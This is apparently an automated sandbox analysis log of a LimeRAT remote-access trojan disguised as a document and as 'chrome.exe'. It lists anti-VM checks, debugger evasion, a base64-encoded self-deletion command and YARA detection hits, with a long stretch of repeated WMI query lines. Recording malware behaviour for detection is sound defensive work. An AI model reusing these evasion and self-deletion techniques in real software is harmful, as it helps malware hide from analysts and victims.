                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeThread delayed: delay time: 922337203685477
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeThread delayed: delay time: 922337203685477
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeThread delayed: delay time: 922337203685477
                      Source: wtqsCpda..exe, 0000000F.00000002.80316092456.0000000002B1E000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:\Windows\vboxhook.dll
                      Source: chrome.exe, 00000013.00000000.80248070314.0000000000A22000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: vmware
                      Source: chrome.exeBinary or memory string: \vboxhook.dll
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllO
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80684948349.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83501450597.0000000001151000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83502605752.00000000011ED000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                      Source: wtqsCpda..exe, 0000000F.00000000.79892756744.0000000000542000.00000002.00000001.01000000.00000007.sdmp, wtqsCpda..exe, 0000000F.00000002.80316124713.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000000.80097480691.0000000000762000.00000002.00000001.01000000.00000009.sdmp, chrome.exe, 00000013.00000000.80248070314.0000000000A22000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: \vboxhook.dllQY21kLmV4ZSAvYyBwaW5nIDAgLW4gMiAmIGRlbCA=
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information queried: ProcessInformation
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD71A3 VirtualQuery,GetSystemInfo,VirtualAlloc,VirtualProtect,
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BDA22B FindFirstFileExW,
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD7B8E mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD9DF6 mov eax, dword ptr fs:[00000030h]
                      Source: C:\Windows\SysWOW64\cmd.exeCode function: 12_2_02E6001A mov eax, dword ptr fs:[00000030h]
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD4959 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD71A3 VirtualProtect ?,-00000001,00000104,?,?,?,0000001C
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BDB2B8 GetProcessHeap,
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess token adjusted: Debug
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess token adjusted: Debug
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeCode function: 18_2_02B9A698 LdrInitializeThunk,
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeMemory allocated: page read and write | page guard
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD4959 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD4AEF SetUnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD72E0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD42DA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      .NET source code references suspicious native API functions
                      Source: Chrome[1].exe.1.dr, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: wtqsCpda..exe.1.dr, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: chrome.exe.15.dr, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 15.0.wtqsCpda..exe.540000.3.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 15.0.wtqsCpda..exe.540000.2.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 15.0.wtqsCpda..exe.540000.1.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 15.0.wtqsCpda..exe.540000.0.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 15.2.wtqsCpda..exe.540000.0.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: IconLib.dll.18.dr, System.Drawing.IconLib/Win32.csReference to suspicious API methods: ('FindResource', 'FindResource@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll'), ('LoadLibraryEx', 'LoadLibraryEx@kernel32.dll')
                      Source: 18.2.chrome.exe.760000.0.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 18.0.chrome.exe.760000.0.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 19.0.chrome.exe.a20000.0.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 19.2.chrome.exe.a20000.0.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 19.0.chrome.exe.a20000.1.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 19.0.chrome.exe.a20000.2.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: 19.0.chrome.exe.a20000.3.unpack, ??????????????/???????.csReference to suspicious API methods: ('?????????', 'LoadLibrary@kernel32.dll')
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeProcess created: C:\Users\user\AppData\Local\Temp\chrome.exe "C:\Users\user\AppData\Local\Temp\chrome.exe"
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80684835019.00000000011DA000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83502455517.00000000011DA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83509823788.000000000515F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83511925092.0000000005570000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: GetProgmanWindow
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80684835019.00000000011DA000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83502455517.00000000011DA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager+
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83502455517.00000000011DA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager-
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83502455517.00000000011DA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager1
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80684835019.00000000011DA000.00000004.00000020.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83502455517.00000000011DA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager5
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83509823788.000000000515F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83511925092.0000000005570000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: SetProgmanWindow
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeQueries volume information: C:\Users\user\AppData\Roaming\wtqsCpda..exe VolumeInformation
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeQueries volume information: C:\Users\user\AppData\Local\Temp\chrome.exe VolumeInformation
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeQueries volume information: C:\Users\user\AppData\Local\Temp\chrome.exe VolumeInformation
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD4775 cpuid
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: 1_2_00BD4BDE GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

                      Lowering of HIPS / PFW / Operating System Security Settings

                      barindex
                      Yara detected LimeRAT
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 18.2.chrome.exe.760000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 18.0.chrome.exe.760000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.2b22c9c.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.1.unpack, type: UNPACKEDPE
